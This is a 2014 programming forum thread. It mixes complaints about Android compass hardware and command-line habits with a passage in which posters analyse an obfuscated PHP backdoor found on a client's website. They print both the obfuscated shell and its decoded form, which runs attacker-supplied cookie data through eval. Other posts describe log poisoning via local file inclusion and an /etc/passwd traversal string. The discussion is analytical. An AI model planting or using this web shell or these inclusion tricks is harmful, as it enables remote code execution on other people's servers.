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Today I had to debug an issue where a developer "refactored" a static class by just removing all the static modifiers. As it turns out, there are meaningful differences between StaticClass.Property = true and new UsedToBeStatic().Property = true.
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Suspicious Dish posted:I adore your naivety. It makes me happy. It's true, I only hosed around with writing an Android app and that was years ago. Are there major differences that I didn't uncover in my tiny bit of experience?
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May 31, 2014 01:20
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May 31, 2014 01:25
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May 31, 2014 01:51
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QuarkJets posted:It's true, I only hosed around with writing an Android app and that was years ago. Are there major differences that I didn't uncover in my tiny bit of experience? I once chronicled my descent into depression and madness as a result of trying to implement a fragment-based video player with externally loaded video ads and backed by a persistent model cache I rolled myself. In retrospect I learned a lot about making good applications by being unable to trust the terrible platform I had available to me, but god drat Android is a terrible platform to tackle alone.
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May 31, 2014 01:52
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vOv posted:Which way is actual north? Trick question, they're all on the south pole.
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May 31, 2014 01:53
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What is going on here? And how come only the two on the bottom right aren't changing?
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May 31, 2014 03:53
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FoiledAgain posted:What is going on here? And how come only the two on the bottom right aren't changing? It's demonstrating the extremely crappy quality of Android devices in general; all of those devices claim to have a compass, yet we can clearly see they are producing wildly varying and/or broken output.
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May 31, 2014 04:02
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QuarkJets posted:It's true, I only hosed around with writing an Android app and that was years ago. Are there major differences that I didn't uncover in my tiny bit of experience? Doctor w-rw-rw- posted:I once chronicled my descent into depression and madness as a result of trying to implement a fragment-based video player with externally loaded video ads and backed by a persistent model cache I rolled myself. Basically you need to read the good Dr 666's posts in the Android thread, then this, which is where the compass gif is from. Basically Android as a software platform is ok until you realize that hardware vendors are found as far as lying about what their hardware can do.
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May 31, 2014 10:04
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Ender.uNF posted:It's demonstrating the extremely crappy quality of Android devices in general; all of those devices claim to have a compass, yet we can clearly see they are producing wildly varying and/or broken output. Or they themselves generate a magnetic field that makes devices next to them act crappy, or they may be placed on a table that is made out of metal / near a big chunk of metal.
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May 31, 2014 13:34
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pigdog posted:Or they themselves generate a magnetic field that makes devices next to them act crappy, or they may be placed on a table that is made out of metal / near a big chunk of metal. I discovered this myself. Several years ago, I read an article in MAKE about someone who had made a belt with a compass and vibration modules, with the idea that he would always vibrate to the north. This gave him a new way to go about the world, and he had much better locational awareness. Well, that's not so hard, I can do this with a cellphone! It has a compass and a vibrator, and I can work out some encoding! Unfortunately, after several bizarre results, I found that using the vibrator affected the compass and made it unreliable. On the plus side, now I was always facing north! 
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May 31, 2014 14:05
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ultramiraculous posted:Basically you need to read the good Dr 666's posts in the Android thread, then this, which is where the compass gif is from. Basically Android as a software platform is ok until you realize that hardware vendors are found as far as lying about what their hardware can do. All I learned from this is, man, people really tie their identity to what phone they have in their pocket. God, phonespergs are dumb.
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May 31, 2014 16:01
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ohgodwhat posted:All I learned from this is, man, people really tie their identity to what phone they have in their pocket. God, phonespergs are dumb. Try moderating a forum full. It's entertaining.
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May 31, 2014 16:11
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ohgodwhat posted:All I learned from this is, man, people really tie their identity to what phone they have in their pocket. God, phonespergs are dumb. My top three goals are/were generally performance, stability, and quality. Android is a total nightmare on every count. And with no coworkers to validate the shittiness, all time estimates that didn't satisfy the VP of engineering were assumed to be unrealistic and overly padded. Crunchyroll is another horror in itself, where developers are paid poo poo, non-developers are paid less than poo poo, yes-men get promoted, and senior employees who produce good things lock themselves in by doing so, into staying in their current role. 
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EDIT: I think there's been some confusion here. I didn't put your name and Dr 666 together. I wasn't referring to anything you had done, but rather the comments on that Bounden article.
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May 31, 2014 17:52
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Doctor w-rw-rw- posted:I think that's way out of line. I program phones for a living, and have been for half a decade now. I do 40 hours a week of work and ~20 hours a week of related personally-relevant mobile work, which takes up more than half my waking hours ((24-8) * 7 == 112). You must hate anyone who invests themselves heavily into improving their skills, if your way of feeling secure is to insult them. This is a lot of words to say "Stop saying mean stuff about my Windows Phone/iPhone/Android".
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May 31, 2014 17:59
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pigdog posted:Or they themselves generate a magnetic field that makes devices next to them act crappy, or they may be placed on a table that is made out of metal / near a big chunk of metal. Nope. The table is clearly a plastic folding table. John Gruber did a quick comparison of iOS devices in a similar arrangement: http://daringfireball.net/linked/2014/05/20/gyroscope-fragmentation Honestly, I don't understand why this is even controversial. BREAKING NEWS: Hardware manufacturers cheap out on components in the race to the bottom, open platform enforces no standards, consumers bewildered; NEWS AT 11.
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May 31, 2014 18:08
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Phone posted:This is a lot of words to say "Stop saying mean stuff about my Windows Phone/iPhone/Android". I think your reading comprehension skills need some work.
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May 31, 2014 18:17
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The compass on my S3 is loving terrible. If you stick it down flat the needle will stay still, but if you move it about at all, what it thinks is North will wander about all over the place in like a 45-60 degree range. I was shocked when I upgraded from a HTC Desire and found it to be far worse for geocaching.
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May 31, 2014 19:24
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Compasses can be hell to calibrate and keep calibrated but: jesus christ.
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May 31, 2014 19:48
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Ender.uNF posted:John Gruber did a quick comparison of iOS devices in a similar arrangement: http://daringfireball.net/linked/2014/05/20/gyroscope-fragmentation The poor quality of some Android devices' compasses probably the major driver of the wacky behavior in that vine, but Gruber's comparison isn't as slam dunk as he thinks it is - the iphones and ipads have much better radiated immunity and also tend to radiate somewhat less than most of the cheap Android phones and tablets, so they are probably interfering with each other quite a bit less as well (in addition to the general problem of trying to compare the sets when neither is being tested in an EMC lab).
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Otto Skorzeny posted:the iphones and ipads have much better radiated immunity and also tend to radiate somewhat less What I'm hearing here is that Android devices are more likely to give you cancer.
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May 31, 2014 20:45
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Dessert Rose posted:What I'm hearing here is that Android devices are more likely to give you cancer. Well they certainly are more likely to give you an aneurysm from gc pauses
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LOLOLOL PHP LOL I know. Shut up. I just found this in a client's site: php:<?php $edme="RraoPSc0OaoTFxbDJ3Y2xYOVBRcmpwMHQnaoO2VjaG8gJzwaonLiRrLic+JztaolaodmFsKaoGJhc2U"; $xtnl="JGM9Jao2NvaodW5ao0JzaoskYT0kX0NPT0taoJRTtpZihyZXaoNldCgkYSkao9PSdSNCaocaogJiYaogJGMoJGEpPaojMpey"; $ckxg = str_replace("w","","wstrw_wrewpwlwawcwe"); $leel="cnJheSgnJaoyaownKycpLCBqb2luKGFycmF5X3NsaWNlKCRhLCRjKCRhKS0zKSkpKSk7ZWNoaobyAnPC8nLiRrLic+Jztao9"; $uexh="2NF9kZWNvZGUocHJaolaoZao19aoyZXBsYWaoNaolKGFycmFao5KCcvWao15cdzao1cc10vJywaonaoL1xzLyaocpLCBh"; $hkux = $ckxg("x", "", "xbxasxex6x4x_xdexcoxde"); $yawc = $ckxg("s","","scsrsesatses_fsusnscstsisosn"); $altp = $yawc('', $hkux($ckxg("ao", "", $xtnl.$edme.$uexh.$leel))); $altp(); ?>
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Oh god when I realized what that was doing.  I wrote PHP for a living for like 2 years and never knew a string was callable like that.
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Jun 3, 2014 02:01
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Can't tell if this was some awful attempt at intentionally obfuscating code, because this also looks like the sort of malware I've seen injected into hacked Wordpress sites.
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bobthecheese posted:LOLOLOL PHP LOL I know. Shut up. i got bored and decided to poke at it php:<?php $ckxg = "str_replace"; $hkux = "base64_decode"; $yawc = "create_function"; // prevent breaking tables. remove newlines here $altp = create_function('', base64_decode("JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdSNCcgJiYgJGMoJGEpPjMpeyRrPSc0O TFxbDJ3Y2xYOVBRcmpwMHQnO2VjaG8gJzwnLiRrLic+JztldmFsKGJhc2U2NF9kZWNvZGUocHJlZ19yZXBsYWNlKGFycmF5K CcvW15cdz1cc10vJywnL1xzLycpLCBhcnJheSgnJywnKycpLCBqb2luKGFycmF5X3NsaWNlKCRhLCRjKCRhKS0zKSkpKSk7Z WNobyAnPC8nLiRrLic+Jzt9")); $altp(); ?> php:<?php // $altp() is calling this vvvvvvvvvvvvvvvv $c='count';$a=$_COOKIE; if(reset($a)=='R4' && $c($a)>3){$k='491ql2wclX9PQrjp0t'; echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';} ?> php:<?php // $a = user input $a = $_COOKIE; if (reset($a) == 'R4' && count($a) > 3) { echo '<491ql2wclX9PQrjp0t>'; eval(base64_decode(preg_replace(array( '/[^\w=\s]/', '/\s/' ), array( '', '+' ), join(array_slice($a, count($a) - 3))))); echo '</491ql2wclX9PQrjp0t>'; // executes (with eval()) contents of a cookie and sends it back out to the page } Impotence fucked around with this message at 02:14 on Jun 3, 2014 |
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Oh dear god. That PHP code is scaring me. Put it away please. Why would anyone think that was a good idea! 
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Jun 3, 2014 02:16
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Biowarfare posted:definitely malware. Wow. I've seen some interesting ways of passing shell commands but using a cookie is a new one. Most kids just use POST params. I wonder if it was an attempt to bypass IDS filters.
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kitten smoothie posted:Wow. I've seen some interesting ways of passing shell commands but using a cookie is a new one. Most kids just use POST params. I wonder if it was an attempt to bypass IDS filters. This is very common now. The cookie is also base64 encoded and mangled, so there isn't plantext command visible. And cookies are generally not logged.
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kitten smoothie posted:Wow. I've seen some interesting ways of passing shell commands but using a cookie is a new one. Most kids just use POST params. I wonder if it was an attempt to bypass IDS filters. The best one I've ever "seen" was <?php echo "hello world"; exit; ?> in Apache logs as the user agent, then the apache access log was included into the page if RFI vulnerable. This can also be done for FTP/whatever else service uses logs. PHP is really goddamn retarded at times.
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Westie posted:PHP is really goddamn retarded at times. This is because idiots use include() which evaluates the file vs echo(file_get_contents()) which prints the file as text, not a PHP thing. There are worse things with PHP, but this is explicitly said in the manual that PHP will be evaluated with an include()
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Westie posted:The best one I've ever "seen" was <?php echo "hello world"; exit; ?> in Apache logs as the user agent, then the apache access log was included into the page if RFI vulnerable. I mean LFI, oops. Biowarfare posted:This is because idiots use include() which evaluates the file vs echo(file_get_contents()) which prints the file as text, not a PHP thing. There are worse things with PHP, but this is explicitly said in the manual that PHP will be evaluated with an include() Yes, that is correct, but one would expect that someone would be able to set the include path properly, so hey, being able to include("../../../../../../../../../../etc/passwd") becomes impossible...
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Programmers that don't use shortcut keys. Ever. Edit: I mean not even hitting enter to do the default action of a dialog. Literally dragging their stupid mouse over and clicking "Find Next" after typing a search string. baby puzzle fucked around with this message at 17:08 on Jun 3, 2014 |
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baby puzzle posted:Programmers that don't use shortcut keys. This, but on a command line. You can use cd on a directory path! Don't just cd to the first path component and use ls to see where you are. Double tap tab to list all the completions. That will tell you what's in there. Then, since you made it all the way there in one command, you can use cd - to get back to where you were. At least he knew about ctrl-r
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Edison was a dick posted:This, but on a command line. Not double tabbing is the source of a lot of frustration when it comes to my boss. Stop typing everything manually! 
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JawnV6 posted:Typing is typically on y'all's critical path? No, but spending five minutes watching somebody do a task I could do in as many seconds, is. My own nemeses are people who don't know what a path name is. You can type emacs butt/fart/dick.txt, you don't have to loving cd there first.
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